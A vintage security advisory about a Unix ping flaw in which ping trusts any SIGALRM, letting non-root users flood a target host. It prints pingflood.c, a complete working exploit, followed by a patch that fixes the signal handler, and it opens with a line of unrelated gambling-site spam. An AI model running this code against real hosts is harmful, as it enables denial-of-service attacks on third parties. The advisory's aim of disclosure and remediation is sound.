Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
1st Jan 1996 [SBWID-179]
COMMAND
	    ping
SYSTEMS AFFECTED
	    RedHat 4.1, 5.0, Debian, OpenBSD, SunOS 5.5.1, etc
PROBLEM
	    AntireZ posted  following.   pingflood.c allows  non-root users to
	    'ping  flood'.   When  ping   runs  it  normally  sends  an   ICMP
	    ECHO_REQUEST every second.   It accomplishes this using  the alarm
	    system call  and waiting  for a  SIGALRM signal  from the  kernel.
	    Pingflood  simply  sends  a  lot  of  SIGALRM  signals to the ping
	    process.  It can do this because the ping process is owned by  the
	    user.  Basically, it is so simple that it should work on any  Unix
	    box. The "bug" in ping's code is that the code naively assumes the
	    SIGALRM is system-generated (due to a previous alarm() call).   At
	    least on  SunOS 5.5.1,  sigaction(2) can  be used  to examine  the
	    source of  the SIGALRM  is returned  to the  signal handler if the
	    sa_flags member of the struct sigaction passed to sigaction()  has
	    the SA_SIGINFO bit set).  Code follows:
	
	    /*
	        pingflood.c by (AntireZ) Salvatore Sanfilippo <[email protected]>
	        enhanced by David Welton <[email protected]>
	        This  program  is  free  software;  you can redistribute it and/or
	        modify it  under the  terms of  the GNU  General Public License as
	        published  by  the  Free  Software  Foundation;  version  2 of the
	        License.
	        ------------------------------------------------------------------
	        use it as follows:
	            pingflood <hostname>
	        WARNING: this program is only for demonstrative use only. USE IT AT
	        YOUR OWN RISK! The  authors decline all responsibility  for damage
	        caused by misuse of the program.
	        ***    if you use  this program to  cause harm to  others, you are
	                                    very small, petty and pathetic.    ***
	        to compile:
	            gcc -o pingflood pingflood.c
	        */
	    #include <signal.h>
	    #define PING "/bin/ping"
	    main( int argc, char *argv[] )
	    {
	      int pid_ping;
	      if (argc < 2) {
	        printf("use: %s <hostname>\n", argv[0]);
	        exit(0);
	      }
	      if(!(pid_ping = fork()))
	        execl(PING, "ping", argv[1], NULL);
	      if ( pid_ping <=0 ) {
	        printf("pid <= 0\n");
	        exit(1);
	      }
	      sleep (1);  /* give it a second to start going  */
	      while (1)
	        if ( kill(pid_ping, SIGALRM) )
	          exit(1);
	    }
	
	    Unfortunately,  many  setuid  programs  are  there that will catch
	    various signals and will behave "not-as-expected" when forked  off
	    by a signal-bomber parent process, such as pingflood.
SOLUTION
	    The correct  solution is  to either  check that  the sigalrm isn't
	    early, or to check who sent the signal. The former has been  done,
	    the latter needs a bit of kernel support...
	    Here's a fix Solar Designer did, for ping from Linux's NetKit 0.09
	    nothing  complicated.   Note:  this  may  be  weird way since just
	    doing a setuid() would also  make it impossible for users  to kill
	    their ping processes (with SIGTERM):
	
	    --- ping.c.orig Sun Dec 29 19:13:01 1996
	    +++ ping.c      Mon May 18 14:09:03 1998
	    @@ -64,6 +64,7 @@
	     #include <sys/socket.h>
	     #include <sys/file.h>
	     #include <sys/time.h>
	    +#include <sys/times.h>
	     #include <sys/signal.h>
	     #include <netinet/in.h>
	    @@ -270,6 +271,11 @@
	                            options |= F_SO_DONTROUTE;
	                            break;
	                    case 's':               /* size of packet to send */
	    +                       if (!am_i_root) {
	    +                               (void)fprintf(stderr,
	    +                                   "ping: %s\n", strerror(EPERM));
	    +                               exit(2);
	    +                       }
	                            datalen = atoi(optarg);
	                            if (datalen > MAXPACKET) {
	                                    (void)fprintf(stderr,
	    @@ -488,12 +494,22 @@
	      * quality of the delay and loss statistics.
	      */
	     static void
	    -catcher(int ignore)
	    +catcher(int signum)
	     {
	    +       struct tms buf;
	    +       clock_t current;
	    +       static clock_t last = 0;
	            int waittime;
	    -       (void)ignore;
	    -       pinger();
	    +       if (signum) {
	    +               current = times(&buf);
	    +               if (current - last >= CLK_TCK - 1 || current < last) {
	    +                       last = current;
	    +                       pinger();
	    +               }
	    +       } else
	    +               pinger();
	    +
	            (void)signal(SIGALRM, catcher);
	            if (!npackets || ntransmitted < npackets)
	                    alarm((u_int)interval);
	
	

Internet highlights